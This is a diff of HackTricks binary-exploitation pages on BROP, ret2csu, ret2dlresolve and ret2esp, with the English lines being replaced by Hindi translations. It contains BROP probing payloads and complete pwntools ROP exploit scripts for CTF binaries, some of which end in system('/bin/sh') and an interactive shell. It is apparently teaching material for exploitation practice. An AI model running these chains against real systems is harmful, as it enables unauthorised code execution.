It's possible to check for this by calling each entry of the PLT table or by using the **PLT slow path** which basically consist on **calling an entry in the PLT table + 0xb** (which calls to **`dlresolve`**) followed in the stack by the **entry number one wishes to probe** (starting at zero) to scan all PLT entries from the first one:
|
||||
इसकी जाँच करने के लिए PLT तालिका के प्रत्येक प्रविष्टि को कॉल करना या **PLT धीमी पथ** का उपयोग करना संभव है, जो मूल रूप से **PLT तालिका में एक प्रविष्टि को कॉल करने** पर आधारित है + 0xb (जो **`dlresolve`** को कॉल करता है) और स्टैक में **प्रविष्टि संख्या जिसे आप जांचना चाहते हैं** (शून्य से शुरू) को स्कैन करने के लिए:
|
||||
|
||||
- strcmp(\<non read addr>, \<read addr>) -> crash
|
||||
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Will crash
|
||||
- strcmp(\<read addr>, \<non read addr>) -> crash
|
||||
- `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
||||
- strcmp(\<read addr>, \<read addr>) -> no crash
|
||||
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
||||
- strcmp(\<non read addr>, \<read addr>) -> क्रैश
|
||||
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> क्रैश होगा
|
||||
- strcmp(\<read addr>, \<non read addr>) -> क्रैश
|
||||
- `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
||||
- strcmp(\<read addr>, \<read addr>) -> कोई क्रैश नहीं
|
||||
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
||||
|
||||
Remember that:
|
||||
याद रखें कि:
|
||||
|
||||
- BROP + 0x7 point to **`pop RSI; pop R15; ret;`**
|
||||
- BROP + 0x9 point to **`pop RDI; ret;`**
|
||||
- PLT + 0xb point to a call to **dl_resolve**.
|
||||
- BROP + 0x7 **`pop RSI; pop R15; ret;`** की ओर इशारा करता है
|
||||
- BROP + 0x9 **`pop RDI; ret;`** की ओर इशारा करता है
|
||||
- PLT + 0xb **dl_resolve** को कॉल करने की ओर इशारा करता है।
|
||||
|
||||
Having found `strcmp` it's possible to set **`rdx`** to a value bigger than 0.
|
||||
`strcmp` को खोजने के बाद, **`rdx`** को 0 से बड़े मान पर सेट करना संभव है।
|
||||
|
||||
> [!TIP]
|
||||
> Note that usually `rdx` will host already a value bigger than 0, so this step might not be necesary.
|
||||
> ध्यान दें कि आमतौर पर `rdx` पहले से ही 0 से बड़ा मान रखेगा, इसलिए यह कदम आवश्यक नहीं हो सकता है।
|
||||
|
||||
### 8. Finding Write or equivalent
|
||||
### 8. Write या समकक्ष खोजें
|
||||
|
||||
Finally, it's needed a gadget that exfiltrates data in order to exfiltrate the binary. And at this moment it's possible to **control 2 arguments and set `rdx` bigger than 0.**
|
||||
अंत में, डेटा को एक्सफिल्ट्रेट करने के लिए एक गैजेट की आवश्यकता होती है ताकि बाइनरी को एक्सफिल्ट्रेट किया जा सके। और इस समय यह संभव है कि **2 तर्कों को नियंत्रित करें और `rdx` को 0 से बड़ा सेट करें।**
|
||||
|
||||
There are 3 common funtions taht could be abused for this:
|
||||
इसके लिए 3 सामान्य फ़ंक्शन हैं जिनका दुरुपयोग किया जा सकता है:
|
||||
|
||||
- `puts(data)`
|
||||
- `dprintf(fd, data)`
|
||||
- `write(fd, data, len(data)`
|
||||
|
||||
However, the original paper only mentions the **`write`** one, so lets talk about it:
|
||||
हालांकि, मूल पेपर केवल **`write`** का उल्लेख करता है, इसलिए आइए इसके बारे में बात करें:
|
||||
|
||||
The current problem is that we don't know **where the write function is inside the PLT** and we don't know **a fd number to send the data to our socket**.
|
||||
वर्तमान समस्या यह है कि हमें नहीं पता **write फ़ंक्शन PLT के अंदर कहाँ है** और हमें नहीं पता **डेटा को हमारे सॉकेट पर भेजने के लिए fd संख्या**।
|
||||
|
||||
However, we know **where the PLT table is** and it's possible to find write based on its **behaviour**. And we can create **several connections** with the server an d use a **high FD** hoping that it matches some of our connections.
|
||||
हालांकि, हम जानते हैं **PLT तालिका कहाँ है** और इसके **व्यवहार** के आधार पर write को खोजना संभव है। और हम सर्वर के साथ **कई कनेक्शन** बना सकते हैं और एक **उच्च FD** का उपयोग कर सकते हैं यह उम्मीद करते हुए कि यह हमारे कुछ कनेक्शनों से मेल खाता है।
|
||||
|
||||
Behaviour signatures to find those functions:
|
||||
इन फ़ंक्शनों को खोजने के लिए व्यवहार हस्ताक्षर:
|
||||
|
||||
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then puts was found
|
||||
- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then dprintf was found
|
||||
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then write was found
|
||||
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> यदि डेटा प्रिंट होता है, तो इसका अर्थ है कि puts मिला
|
||||
- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> यदि डेटा प्रिंट होता है, तो इसका अर्थ है कि dprintf मिला
|
||||
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> यदि डेटा प्रिंट होता है, तो इसका अर्थ है कि write मिला
|
||||
|
||||
## Automatic Exploitation
|
||||
|
||||
|
||||
@ -4,18 +4,17 @@
|
||||
|
||||
##
|
||||
|
||||
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Basic Information
|
||||
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)बुनियादी जानकारी
|
||||
|
||||
**ret2csu** is a hacking technique used when you're trying to take control of a program but can't find the **gadgets** you usually use to manipulate the program's behavior.
|
||||
**ret2csu** एक हैकिंग तकनीक है जिसका उपयोग तब किया जाता है जब आप किसी प्रोग्राम पर नियंत्रण पाने की कोशिश कर रहे होते हैं लेकिन आपको प्रोग्राम के व्यवहार को नियंत्रित करने के लिए आमतौर पर उपयोग किए जाने वाले **gadgets** नहीं मिलते।
|
||||
|
||||
When a program uses certain libraries (like libc), it has some built-in functions for managing how different pieces of the program talk to each other. Among these functions are some hidden gems that can act as our missing gadgets, especially one called `__libc_csu_init`.
|
||||
जब एक प्रोग्राम कुछ विशेष पुस्तकालयों (जैसे libc) का उपयोग करता है, तो इसमें विभिन्न भागों के बीच बातचीत को प्रबंधित करने के लिए कुछ अंतर्निहित कार्य होते हैं। इन कार्यों में कुछ छिपे हुए रत्न होते हैं जो हमारे गायब gadgets के रूप में कार्य कर सकते हैं, विशेष रूप से एक जिसे `__libc_csu_init` कहा जाता है।
|
||||
|
||||
### The Magic Gadgets in \_\_libc_csu_init
|
||||
### \_\_libc_csu_init में जादुई Gadgets
|
||||
|
||||
In **`__libc_csu_init`**, there are two sequences of instructions (gadgets) to highlight:
|
||||
|
||||
1. The first sequence lets us set up values in several registers (rbx, rbp, r12, r13, r14, r15). These are like slots where we can store numbers or addresses we want to use later.
|
||||
**`__libc_csu_init`** में, दो निर्देशों के अनुक्रम (gadgets) को उजागर करने के लिए हैं:
|
||||
|
||||
1. पहला अनुक्रम हमें कई रजिस्टरों (rbx, rbp, r12, r13, r14, r15) में मान सेट करने की अनुमति देता है। ये ऐसे स्लॉट की तरह होते हैं जहाँ हम बाद में उपयोग करने के लिए संख्याएँ या पते संग्रहीत कर सकते हैं।
|
||||
```armasm
|
||||
pop rbx;
|
||||
pop rbp;
|
||||
@ -25,22 +24,18 @@ pop r14;
|
||||
pop r15;
|
||||
ret;
|
||||
```
|
||||
यह गैजेट हमें इन रजिस्टरों को नियंत्रित करने की अनुमति देता है, स्टैक से मानों को पॉप करके।
|
||||
|
||||
This gadget allows us to control these registers by popping values off the stack into them.
|
||||
|
||||
2. The second sequence uses the values we set up to do a couple of things:
|
||||
- **Move specific values into other registers**, making them ready for us to use as parameters in functions.
|
||||
- **Perform a call to a location** determined by adding together the values in r15 and rbx, then multiplying rbx by 8.
|
||||
|
||||
2. दूसरा अनुक्रम उन मानों का उपयोग करता है जो हमने सेट किए हैं, कुछ चीजें करने के लिए:
|
||||
- **विशिष्ट मानों को अन्य रजिस्टरों में स्थानांतरित करें**, उन्हें कार्यों में पैरामीटर के रूप में उपयोग करने के लिए तैयार करना।
|
||||
- **एक स्थान पर कॉल करें** जो r15 और rbx में मानों को जोड़कर, फिर rbx को 8 से गुणा करके निर्धारित किया गया है।
|
||||
```armasm
|
||||
mov rdx, r15;
|
||||
mov rsi, r14;
|
||||
mov edi, r13d;
|
||||
call qword [r12 + rbx*8];
|
||||
```
|
||||
|
||||
3. Maybe you don't know any address to write there and you **need a `ret` instruction**. Note that the second gadget will also **end in a `ret`**, but you will need to meet some **conditions** in order to reach it:
|
||||
|
||||
3. शायद आप वहां लिखने के लिए कोई पता नहीं जानते हैं और आपको **`ret` निर्देश** की आवश्यकता है। ध्यान दें कि दूसरा गैजेट भी **`ret` पर समाप्त होगा**, लेकिन आपको इसे प्राप्त करने के लिए कुछ **शर्तों** को पूरा करना होगा:
|
||||
```armasm
|
||||
mov rdx, r15;
|
||||
mov rsi, r14;
|
||||
@ -52,50 +47,46 @@ jnz <func>
|
||||
...
|
||||
ret
|
||||
```
|
||||
शर्तें होंगी:
|
||||
|
||||
The conditions will be:
|
||||
|
||||
- `[r12 + rbx*8]` must be pointing to an address storing a callable function (if no idea and no pie, you can just use `_init` func):
|
||||
- If \_init is at `0x400560`, use GEF to search for a pointer in memory to it and make `[r12 + rbx*8]` be the address with the pointer to \_init:
|
||||
|
||||
- `[r12 + rbx*8]` को एक पते की ओर इशारा करना चाहिए जो एक कॉल करने योग्य फ़ंक्शन को स्टोर कर रहा है (यदि कोई विचार नहीं है और कोई pie नहीं है, तो आप बस `_init` फ़ंक्शन का उपयोग कर सकते हैं):
|
||||
- यदि \_init `0x400560` पर है, तो GEF का उपयोग करके इसके लिए मेमोरी में एक पॉइंटर खोजें और `[r12 + rbx*8]` को \_init के लिए पॉइंटर के साथ पता बनाएं:
|
||||
```bash
|
||||
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||
gef➤ search-pattern 0x400560
|
||||
[+] Searching '\x60\x05\x40' in memory
|
||||
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
|
||||
0x400e38 - 0x400e44 → "\x60\x05\x40[...]"
|
||||
0x400e38 - 0x400e44 → "\x60\x05\x40[...]"
|
||||
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
|
||||
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
|
||||
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
|
||||
```
|
||||
- `rbp` और `rbx` का वही मान होना चाहिए ताकि कूद से बचा जा सके
|
||||
- कुछ छोड़े गए pops हैं जिन्हें आपको ध्यान में रखना चाहिए
|
||||
|
||||
- `rbp` and `rbx` must have the same value to avoid the jump
|
||||
- There are some omitted pops you need to take into account
|
||||
## RDI और RSI
|
||||
|
||||
## RDI and RSI
|
||||
|
||||
Another way to control **`rdi`** and **`rsi`** from the ret2csu gadget is by accessing it specific offsets:
|
||||
**`rdi`** और **`rsi`** को ret2csu गैजेट से नियंत्रित करने का एक और तरीका है कि इसे विशिष्ट ऑफसेट्स तक पहुँचें:
|
||||
|
||||
<figure><img src="../../images/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
Check this page for more info:
|
||||
अधिक जानकारी के लिए इस पृष्ठ की जाँच करें:
|
||||
|
||||
{{#ref}}
|
||||
brop-blind-return-oriented-programming.md
|
||||
{{#endref}}
|
||||
|
||||
## Example
|
||||
## उदाहरण
|
||||
|
||||
### Using the call
|
||||
### कॉल का उपयोग करना
|
||||
|
||||
Imagine you want to make a syscall or call a function like `write()` but need specific values in the `rdx` and `rsi` registers as parameters. Normally, you'd look for gadgets that set these registers directly, but you can't find any.
|
||||
कल्पना करें कि आप एक syscall करना चाहते हैं या `write()` जैसी किसी फ़ंक्शन को कॉल करना चाहते हैं लेकिन `rdx` और `rsi` रजिस्टर में विशेष मानों की आवश्यकता है। सामान्यतः, आप उन गैजेट्स की तलाश करेंगे जो इन रजिस्टरों को सीधे सेट करते हैं, लेकिन आप कोई नहीं पा रहे हैं।
|
||||
|
||||
Here's where **ret2csu** comes into play:
|
||||
यहाँ **ret2csu** काम में आता है:
|
||||
|
||||
1. **Set Up the Registers**: Use the first magic gadget to pop values off the stack and into rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), and r15.
|
||||
2. **Use the Second Gadget**: With those registers set, you use the second gadget. This lets you move your chosen values into `rdx` and `rsi` (from r14 and r13, respectively), readying parameters for a function call. Moreover, by controlling `r15` and `rbx`, you can make the program call a function located at the address you calculate and place into `[r15 + rbx*8]`.
|
||||
|
||||
You have an [**example using this technique and explaining it here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), and this is the final exploit it used:
|
||||
1. **रजिस्टर सेट करें**: पहले जादुई गैजेट का उपयोग करें ताकि स्टैक से मानों को निकालकर rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), और r15 में डाल सकें।
|
||||
2. **दूसरे गैजेट का उपयोग करें**: उन रजिस्टरों को सेट करने के बाद, आप दूसरे गैजेट का उपयोग करते हैं। यह आपको अपने चुने हुए मानों को `rdx` और `rsi` (क्रमशः r14 और r13 से) में स्थानांतरित करने की अनुमति देता है, जो फ़ंक्शन कॉल के लिए पैरामीटर तैयार करता है। इसके अलावा, `r15` और `rbx` को नियंत्रित करके, आप प्रोग्राम को उस फ़ंक्शन को कॉल करने के लिए बना सकते हैं जो आप पता लगाते हैं और `[r15 + rbx*8]` में रखते हैं।
|
||||
|
||||
आपके पास [**इस तकनीक का उपयोग करते हुए एक उदाहरण और इसे यहाँ समझाते हुए**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation) है, और यह अंतिम शोषण है जिसका इसने उपयोग किया:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -119,14 +110,12 @@ p.sendlineafter('me\n', rop.chain())
|
||||
p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
|
||||
print(p.recvline()) # should receive "Awesome work!"
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Note that the previous exploit isn't meant to do a **`RCE`**, it's meant to just call a function called **`win`** (taking the address of `win` from stdin calling gets in the ROP chain and storing it in r15) with a third argument with the value `0xdeadbeefcafed00d`.
|
||||
> ध्यान दें कि पिछले एक्सप्लॉइट का उद्देश्य **`RCE`** करना नहीं है, इसका उद्देश्य केवल एक फ़ंक्शन **`win`** को कॉल करना है (ROP चेन में `gets` को कॉल करके `win` का पता लेना और इसे r15 में स्टोर करना) तीसरे तर्क के साथ जिसका मान `0xdeadbeefcafed00d` है।
|
||||
|
||||
### Bypassing the call and reaching ret
|
||||
|
||||
The following exploit was extracted [**from this page**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) where the **ret2csu** is used but instead of using the call, it's **bypassing the comparisons and reaching the `ret`** after the call:
|
||||
### कॉल को बायपास करना और रिट तक पहुँचना
|
||||
|
||||
निम्नलिखित एक्सप्लॉइट [**इस पृष्ठ से निकाला गया**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) जहाँ **ret2csu** का उपयोग किया गया है लेकिन कॉल का उपयोग करने के बजाय, यह **तुलनाओं को बायपास कर रहा है और कॉल के बाद `ret` तक पहुँच रहा है:**
|
||||
```python
|
||||
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
|
||||
@ -176,9 +165,8 @@ payload += ret2win
|
||||
target.sendline(payload)
|
||||
target.interactive()
|
||||
```
|
||||
|
||||
### Why Not Just Use libc Directly?
|
||||
|
||||
Usually these cases are also vulnerable to [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), but sometimes you need to control more parameters than are easily controlled with the gadgets you find directly in libc. For example, the `write()` function requires three parameters, and **finding gadgets to set all these directly might not be possible**.
|
||||
आमतौर पर ये मामले भी [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/) के प्रति संवेदनशील होते हैं, लेकिन कभी-कभी आपको उन पैरामीटर को नियंत्रित करने की आवश्यकता होती है जो सीधे libc में पाए गए गैजेट्स के साथ आसानी से नियंत्रित नहीं किए जा सकते। उदाहरण के लिए, `write()` फ़ंक्शन को तीन पैरामीटर की आवश्यकता होती है, और **इन सभी को सीधे सेट करने के लिए गैजेट्स खोजना संभव नहीं हो सकता**।
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,36 +4,35 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
As explained in the page about [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) and [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaries without Full Relro will resolve symbols (like addresses to external libraries) the first time they are used. This resolution occurs calling the function **`_dl_runtime_resolve`**.
|
||||
जैसा कि [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) और [**Relro**](../common-binary-protections-and-bypasses/relro.md) के पृष्ठ में समझाया गया है, बिना Full Relro के बाइनरी पहली बार उपयोग किए जाने पर प्रतीकों (जैसे बाहरी पुस्तकालयों के लिए पते) को हल करेंगी। यह समाधान **`_dl_runtime_resolve`** फ़ंक्शन को कॉल करके होता है।
|
||||
|
||||
The **`_dl_runtime_resolve`** function takes from the stack references to some structures it needs in order to **resolve** the specified symbol.
|
||||
**`_dl_runtime_resolve`** फ़ंक्शन स्टैक से कुछ संरचनाओं के संदर्भ लेता है जिनकी उसे निर्दिष्ट प्रतीक को **हल** करने के लिए आवश्यकता होती है।
|
||||
|
||||
Therefore, it's possible to **fake all these structures** to make the dynamic linked resolving the requested symbol (like **`system`** function) and call it with a configured parameter (e.g. **`system('/bin/sh')`**).
|
||||
इसलिए, सभी इन संरचनाओं को **फेक करना संभव है** ताकि गतिशील रूप से लिंक किया गया हल किया गया प्रतीक (जैसे **`system`** फ़ंक्शन) और इसे एक कॉन्फ़िगर किए गए पैरामीटर (जैसे **`system('/bin/sh')`**) के साथ कॉल किया जा सके।
|
||||
|
||||
Usually, all these structures are faked by making an **initial ROP chain that calls `read`** over a writable memory, then the **structures** and the string **`'/bin/sh'`** are passed so they are stored by read in a known location, and then the ROP chain continues by calling **`_dl_runtime_resolve`** , having it **resolve the address of `system`** in the fake structures and **calling this address** with the address to `$'/bin/sh'`.
|
||||
आमतौर पर, सभी इन संरचनाओं को एक **प्रारंभिक ROP श्रृंखला बनाकर फेक किया जाता है जो `read`** को लिखने योग्य मेमोरी पर कॉल करता है, फिर **संरचनाएँ** और स्ट्रिंग **`'/bin/sh'`** को पास किया जाता है ताकि वे एक ज्ञात स्थान पर पढ़े जाने के द्वारा संग्रहीत हों, और फिर ROP श्रृंखला **`_dl_runtime_resolve`** को कॉल करके जारी रहती है, इसे **फेक संरचनाओं में `system` का पता हल करने** के लिए और **इस पते को** `$'/bin/sh'` के पते के साथ कॉल करने के लिए।
|
||||
|
||||
> [!TIP]
|
||||
> This technique is useful specially if there aren't syscall gadgets (to use techniques such as [**ret2syscall**](rop-syscall-execv/) or [SROP](srop-sigreturn-oriented-programming/)) and there are't ways to leak libc addresses.
|
||||
> यह तकनीक विशेष रूप से उपयोगी है यदि syscall गैजेट्स नहीं हैं (जैसे [**ret2syscall**](rop-syscall-execv/) या [SROP](srop-sigreturn-oriented-programming/)) और libc पते लीक करने के तरीके नहीं हैं।
|
||||
|
||||
Chek this video for a nice explanation about this technique in the second half of the video:
|
||||
इस तकनीक के बारे में वीडियो के दूसरे भाग में एक अच्छा स्पष्टीकरण देखने के लिए इस वीडियो को चेक करें:
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
|
||||
Or check these pages for a step-by-step explanation:
|
||||
या इन पृष्ठों को चरण-दर-चरण स्पष्टीकरण के लिए चेक करें:
|
||||
|
||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
|
||||
|
||||
## Attack Summary
|
||||
|
||||
1. Write fake estructures in some place
|
||||
2. Set the first argument of system (`$rdi = &'/bin/sh'`)
|
||||
3. Set on the stack the addresses to the structures to call **`_dl_runtime_resolve`**
|
||||
4. **Call** `_dl_runtime_resolve`
|
||||
5. **`system`** will be resolved and called with `'/bin/sh'` as argument
|
||||
|
||||
From the [**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), this is how a **`ret2dlresolve`** attack look like:
|
||||
1. कुछ स्थान पर फेक संरचनाएँ लिखें
|
||||
2. सिस्टम के पहले तर्क को सेट करें (`$rdi = &'/bin/sh'`)
|
||||
3. **`_dl_runtime_resolve`** को कॉल करने के लिए स्टैक पर संरचनाओं के पते सेट करें
|
||||
4. **कॉल** `_dl_runtime_resolve`
|
||||
5. **`system`** हल किया जाएगा और `'/bin/sh'` को तर्क के रूप में कॉल किया जाएगा
|
||||
|
||||
[**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html) से, यह एक **`ret2dlresolve`** हमले का रूप है:
|
||||
```python
|
||||
context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
|
||||
>>> rop = ROP(elf)
|
||||
@ -53,13 +52,11 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
|
||||
0x0040: 0x4003e0 [plt_init] system
|
||||
0x0048: 0x15670 [dlresolve index]
|
||||
```
|
||||
## उदाहरण
|
||||
|
||||
## Example
|
||||
|
||||
### Pure Pwntools
|
||||
|
||||
You can find an [**example of this technique here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **containing a very good explanation of the final ROP chain**, but here is the final exploit used:
|
||||
### शुद्ध Pwntools
|
||||
|
||||
आप इस तकनीक का [**उदाहरण यहाँ पा सकते हैं**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **जिसमें अंतिम ROP श्रृंखला का बहुत अच्छा विवरण है**, लेकिन यहाँ उपयोग किया गया अंतिम शोषण है:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -81,9 +78,7 @@ p.sendline(dlresolve.payload) # now the read is called and we pass all the re
|
||||
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
### Raw
|
||||
|
||||
### कच्चा
|
||||
```python
|
||||
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
|
||||
# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack
|
||||
@ -186,12 +181,11 @@ target.send(paylaod2)
|
||||
# Enjoy the shell!
|
||||
target.interactive()
|
||||
```
|
||||
|
||||
## Other Examples & References
|
||||
## अन्य उदाहरण और संदर्भ
|
||||
|
||||
- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
|
||||
- [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
|
||||
- 32bit, no relro, no canary, nx, no pie, basic small buffer overflow and return. To exploit it the bof is used to call `read` again with a `.bss` section and a bigger size, to store in there the `dlresolve` fake tables to load `system`, return to main and re-abuse the initial bof to call dlresolve and then `system('/bin/sh')`.
|
||||
- 32bit, कोई relro नहीं, कोई canary नहीं, nx, कोई pie नहीं, बुनियादी छोटे बफर ओवरफ्लो और रिटर्न। इसे शोषित करने के लिए bof का उपयोग `read` को फिर से कॉल करने के लिए किया जाता है एक `.bss` सेक्शन और एक बड़े आकार के साथ, वहां `dlresolve` नकली तालिकाओं को लोड करने के लिए `system`, मुख्य में लौटने और प्रारंभिक bof का फिर से दुरुपयोग करने के लिए dlresolve को कॉल करने और फिर `system('/bin/sh')` करने के लिए।
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,27 +4,24 @@
|
||||
|
||||
## **Ret2esp**
|
||||
|
||||
**Because the ESP (Stack Pointer) always points to the top of the stack**, this technique involves replacing the EIP (Instruction Pointer) with the address of a **`jmp esp`** or **`call esp`** instruction. By doing this, the shellcode is placed right after the overwritten EIP. When the `ret` instruction executes, ESP points to the next address, precisely where the shellcode is stored.
|
||||
**क्योंकि ESP (स्टैक पॉइंटर) हमेशा स्टैक के शीर्ष की ओर इशारा करता है**, यह तकनीक EIP (इंस्ट्रक्शन पॉइंटर) को **`jmp esp`** या **`call esp`** इंस्ट्रक्शन के पते से बदलने में शामिल है। ऐसा करने से, शेलकोड ठीक ओवरराइटेड EIP के बाद रखा जाता है। जब `ret` इंस्ट्रक्शन निष्पादित होता है, तो ESP अगले पते की ओर इशारा करता है, ठीक उसी जगह जहां शेलकोड संग्रहीत है।
|
||||
|
||||
If **Address Space Layout Randomization (ASLR)** is not enabled in Windows or Linux, it's possible to use `jmp esp` or `call esp` instructions found in shared libraries. However, with [**ASLR**](../common-binary-protections-and-bypasses/aslr/) active, one might need to look within the vulnerable program itself for these instructions (and you might need to defeat [**PIE**](../common-binary-protections-and-bypasses/pie/)).
|
||||
यदि **एड्रेस स्पेस लेआउट रैंडमाइजेशन (ASLR)** Windows या Linux में सक्षम नहीं है, तो साझा पुस्तकालयों में पाए जाने वाले `jmp esp` या `call esp` इंस्ट्रक्शनों का उपयोग करना संभव है। हालाँकि, [**ASLR**](../common-binary-protections-and-bypasses/aslr/) सक्रिय होने पर, किसी को इन इंस्ट्रक्शनों के लिए कमजोर प्रोग्राम के भीतर देखना पड़ सकता है (और आपको [**PIE**](../common-binary-protections-and-bypasses/pie/) को हराने की आवश्यकता हो सकती है)।
|
||||
|
||||
Moreover, being able to place the shellcode **after the EIP corruption**, rather than in the middle of the stack, ensures that any `push` or `pop` instructions executed during the function's operation don't interfere with the shellcode. This interference could happen if the shellcode were placed in the middle of the function's stack.
|
||||
इसके अलावा, EIP भ्रष्टाचार के **बाद शेलकोड** को रखने में सक्षम होना, न कि स्टैक के मध्य में, यह सुनिश्चित करता है कि कार्य के संचालन के दौरान निष्पादित किसी भी `push` या `pop` इंस्ट्रक्शनों का शेलकोड के साथ हस्तक्षेप नहीं होता है। यह हस्तक्षेप तब हो सकता है जब शेलकोड कार्य के स्टैक के मध्य में रखा गया हो।
|
||||
|
||||
### Lacking space
|
||||
|
||||
If you are lacking space to write after overwriting RIP (maybe just a few bytes), write an initial **`jmp`** shellcode like:
|
||||
### स्थान की कमी
|
||||
|
||||
यदि RIP को ओवरराइट करने के बाद लिखने के लिए आपके पास स्थान की कमी है (शायद केवल कुछ बाइट्स), तो एक प्रारंभिक **`jmp`** शेलकोड लिखें जैसे:
|
||||
```armasm
|
||||
sub rsp, 0x30
|
||||
jmp rsp
|
||||
```
|
||||
और स्टैक में जल्दी शेलकोड लिखें।
|
||||
|
||||
And write the shellcode early in the stack.
|
||||
|
||||
### Example
|
||||
|
||||
You can find an example of this technique in [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) with a final exploit like:
|
||||
### उदाहरण
|
||||
|
||||
